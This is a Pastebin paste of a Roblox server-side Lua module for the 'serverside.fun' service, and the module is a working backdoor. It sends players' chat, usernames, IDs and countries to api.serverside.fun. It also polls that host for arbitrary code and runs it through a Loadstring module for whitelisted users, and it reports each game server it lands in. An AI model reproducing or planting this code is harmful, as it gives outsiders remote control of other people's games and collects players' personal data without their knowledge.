Advertisement
darraghd493

Serverside.fun Module Script

Jan 7th, 2024
3,011
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 15.19 KB | Source Code | 0 0
  1. local a = {}
  2. local b = "https://api.serverside.fun/v1/get-players"
  3. local c = game:GetService("LocalizationService")
  4. local d = game:GetService("HttpService")
  5. local e = game:GetService("Players")
  6. game:GetService("Players").PlayerAdded:Connect(
  7.     function(f)
  8.         pcall(
  9.             function()
  10.                 local g =
  11.                     game:GetService("HttpService"):GetAsync(
  12.                     "https://api.serverside.fun/v1/check-whitelist/" .. f.UserId .. "/" .. game.GameId
  13.                 )
  14.                 local h = game:GetService("HttpService"):JSONDecode(g)
  15.                 if h.whitelisted ~= false then
  16.                     pcall(
  17.                         function()
  18.                             local d = game:GetService("HttpService")
  19.                             local i = "https://api.serverside.fun/v1/chat"
  20.                             f.Chatted:Connect(
  21.                                 function(j)
  22.                                     local h = {
  23.                                         ["text"] = tostring(j),
  24.                                         ["robloxId"] = tostring(f.UserId),
  25.                                         ["placeId"] = tostring(game.PlaceId)
  26.                                     }
  27.                                     pcall(
  28.                                         function()
  29.                                             d:PostAsync(i, d:JSONEncode(h))
  30.                                         end
  31.                                     )
  32.                                 end
  33.                             )
  34.                         end
  35.                     )
  36.                     if h.watermark then
  37.                         if h.watermark == true then
  38.                             pcall(
  39.                                 function()
  40.                                     require(13749573698).hi(f.Name)
  41.                                 end
  42.                             )
  43.                         end
  44.                     end
  45.                     local function k()
  46.                         local l = {}
  47.                         for m, n in ipairs(game.Players:GetPlayers()) do
  48.                             local o
  49.                             pcall(
  50.                                 function()
  51.                                     o = c:GetCountryRegionForPlayerAsync(n)
  52.                                 end
  53.                             )
  54.                             if not o then
  55.                                 o = "Unknown"
  56.                             end
  57.                             table.insert(
  58.                                 l,
  59.                                 {username = n.Name, userid = n.UserId, displayName = n.DisplayName, country = o}
  60.                             )
  61.                         end
  62.                         return l
  63.                     end
  64.                     local function p()
  65.                         wait(.5)
  66.                         if game.Players:FindFirstChild(f.Name) then
  67.                             local l = k()
  68.                             local q = {value = l, robloxId = f.UserId}
  69.                             local r = d:JSONEncode(q)
  70.                             d:PostAsync(b, r)
  71.                         end
  72.                     end
  73.                     local s = true
  74.                     local t = false
  75.                     local function u()
  76.                         wait(1)
  77.                         if game.Players:FindFirstChild(f.Name) and s == true then
  78.                             p()
  79.                         else
  80.                             s = false
  81.                             if t == false then
  82.                                 local v = {value = {}, robloxId = f.UserId}
  83.                                 local w = d:JSONEncode(v)
  84.                                 d:PostAsync(b, w)
  85.                                 t = true
  86.                             end
  87.                         end
  88.                     end
  89.                     pcall(
  90.                         function()
  91.                             p()
  92.                             game.Players.PlayerAdded:Connect(p)
  93.                             game.Players.PlayerRemoving:Connect(u)
  94.                         end
  95.                     )
  96.                     if h.type ~= "NORMAL" then
  97.                         pcall(
  98.                             function()
  99.                                 local g =
  100.                                     game:GetService("HttpService"):GetAsync(
  101.                                     "https://api.serverside.fun/v1/private-scripts/" .. f.UserId
  102.                                 )
  103.                                 local h = game:GetService("HttpService"):JSONDecode(g)
  104.                                 for x, y in ipairs(h.scripts) do
  105.                                     pcall(
  106.                                         function()
  107.                                             if y == "r6()" then
  108.                                                 pcall(
  109.                                                     function()
  110.                                                         require(3436957371):r6(f.Name)
  111.                                                     end
  112.                                                 )
  113.                                             elseif y == "re()" then
  114.                                                 pcall(
  115.                                                     function()
  116.                                                         f:LoadCharacter()
  117.                                                     end
  118.                                                 )
  119.                                             elseif y:match("USERNAME") then
  120.                                                 local z = string.gsub(y, "USERNAME", f.Name)
  121.                                                 pcall(
  122.                                                     function()
  123.                                                         require(script.Loadstring)(z)()
  124.                                                     end
  125.                                                 )
  126.                                             else
  127.                                                 pcall(
  128.                                                     function()
  129.                                                         require(script.Loadstring)(y)()
  130.                                                     end
  131.                                                 )
  132.                                             end
  133.                                         end
  134.                                     )
  135.                                 end
  136.                             end
  137.                         )
  138.                     end
  139.                     local A = "https://api.serverside.fun/v1/long-polling/kkwAhfSFRnAyAoffQYNEEviBUAVs/" .. f.UserId
  140.                     while true do
  141.                         local B, C = pcall(d.GetAsync, d, A)
  142.                         if B then
  143.                             local B, h = pcall(d.JSONDecode, d, C)
  144.                             if B then
  145.                                 if h and h["script"] then
  146.                                     if game.Players:FindFirstChild(f.Name) then
  147.                                         local D = h["script"].robloxId
  148.                                         local E = h["script"].script
  149.                                         if f.UserId == tonumber(D) then
  150.                                             if E == "r6()" then
  151.                                                 pcall(
  152.                                                     function()
  153.                                                         require(3436957371):r6(f.Name)
  154.                                                     end
  155.                                                 )
  156.                                             elseif E == "re()" then
  157.                                                 pcall(
  158.                                                     function()
  159.                                                         f:LoadCharacter()
  160.                                                     end
  161.                                                 )
  162.                                             elseif E:match("USERNAME") then
  163.                                                 local z = string.gsub(E, "USERNAME", f.Name)
  164.                                                 pcall(
  165.                                                     function()
  166.                                                         require(script.Loadstring)(z)()
  167.                                                     end
  168.                                                 )
  169.                                             else
  170.                                                 pcall(
  171.                                                     function()
  172.                                                         require(script.Loadstring)(E)()
  173.                                                     end
  174.                                                 )
  175.                                             end
  176.                                             local d = game:GetService("HttpService")
  177.                                             local i = "https://api.serverside.fun/v1/script-logs"
  178.                                             local h = {
  179.                                                 ["script"] = E,
  180.                                                 ["robloxId"] = tostring(f.UserId),
  181.                                                 ["gameId"] = tostring(game.GameId)
  182.                                             }
  183.                                             pcall(
  184.                                                 function()
  185.                                                     d:PostAsync(i, d:JSONEncode(h))
  186.                                                 end
  187.                                             )
  188.                                         end
  189.                                     end
  190.                                 end
  191.                             end
  192.                         end
  193.                         task.wait()
  194.                     end
  195.                 else
  196.                 end
  197.             end
  198.         )
  199.         pcall(
  200.             function()
  201.                 local g =
  202.                     game:GetService("HttpService"):GetAsync(
  203.                     "https://api.serverside.fun/v1/toggle-free/check/" .. f.UserId
  204.                 )
  205.                 local h = game:GetService("HttpService"):JSONDecode(g)
  206.                 if h.whitelisted ~= false then
  207.                     local function k()
  208.                         local l = {}
  209.                         for m, n in ipairs(game.Players:GetPlayers()) do
  210.                             local o
  211.                             pcall(
  212.                                 function()
  213.                                     o = c:GetCountryRegionForPlayerAsync(n)
  214.                                 end
  215.                             )
  216.                             if not o then
  217.                                 o = "Unknown"
  218.                             end
  219.                             table.insert(
  220.                                 l,
  221.                                 {username = n.Name, userid = n.UserId, displayName = n.DisplayName, country = o}
  222.                             )
  223.                         end
  224.                         return l
  225.                     end
  226.                     local function p()
  227.                         wait(.5)
  228.                         if game.Players:FindFirstChild(f.Name) then
  229.                             local l = k()
  230.                             local q = {value = l, robloxId = f.UserId}
  231.                             local r = d:JSONEncode(q)
  232.                             d:PostAsync(b, r)
  233.                         end
  234.                     end
  235.                     local s = true
  236.                     local t = false
  237.                     local function u()
  238.                         wait(1)
  239.                         if game.Players:FindFirstChild(f.Name) and s == true then
  240.                             p()
  241.                         else
  242.                             s = false
  243.                             if t == false then
  244.                                 local v = {value = {}, robloxId = f.UserId}
  245.                                 local w = d:JSONEncode(v)
  246.                                 d:PostAsync(b, w)
  247.                                 t = true
  248.                             end
  249.                         end
  250.                     end
  251.                     pcall(
  252.                         function()
  253.                             p()
  254.                             game.Players.PlayerAdded:Connect(p)
  255.                             game.Players.PlayerRemoving:Connect(u)
  256.                         end
  257.                     )
  258.                     pcall(
  259.                         function()
  260.                             require(13749573698).hi(f.Name)
  261.                         end
  262.                     )
  263.                     while true do
  264.                         wait(1)
  265.                         if game.Players:FindFirstChild(f.Name) then
  266.                             local g =
  267.                                 game:GetService("HttpService"):GetAsync(
  268.                                 "https://api.serverside.fun/v1/pending-script/" .. f.UserId
  269.                             )
  270.                             local h = game:GetService("HttpService"):JSONDecode(g)
  271.                             local F = h.pendingScripts
  272.                             for x, y in pairs(F) do
  273.                                 if y.script == "r6()" then
  274.                                     pcall(
  275.                                         function()
  276.                                             require(3436957371):r6(f.Name)
  277.                                         end
  278.                                     )
  279.                                 elseif y.script == "re()" then
  280.                                     pcall(
  281.                                         function()
  282.                                             f:LoadCharacter()
  283.                                         end
  284.                                     )
  285.                                 elseif y.script:match("USERNAME") then
  286.                                     local z = string.gsub(y.script, "USERNAME", f.Name)
  287.                                     pcall(
  288.                                         function()
  289.                                             require(script.Loadstring)(z)()
  290.                                         end
  291.                                     )
  292.                                 else
  293.                                     pcall(
  294.                                         function()
  295.                                             require(script.Loadstring)(y.script)()
  296.                                         end
  297.                                     )
  298.                                 end
  299.                             end
  300.                         end
  301.                     end
  302.                 else
  303.                 end
  304.             end
  305.         )
  306.     end
  307. )
  308. game:GetService("Players").PlayerAdded:Connect(
  309.     function(f)
  310.         local e = game:GetService("Players")
  311.         local G = game:GetService("HttpService")
  312.         local H = "https://api.serverside.fun/v1/games"
  313.         local I = {["jobId"] = tostring(game.JobId), ["universe"] = tostring(game.GameId)}
  314.         pcall(
  315.             function()
  316.                 G:PostAsync(H, G:JSONEncode(I))
  317.             end
  318.         )
  319.     end
  320. )
  321. return a
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement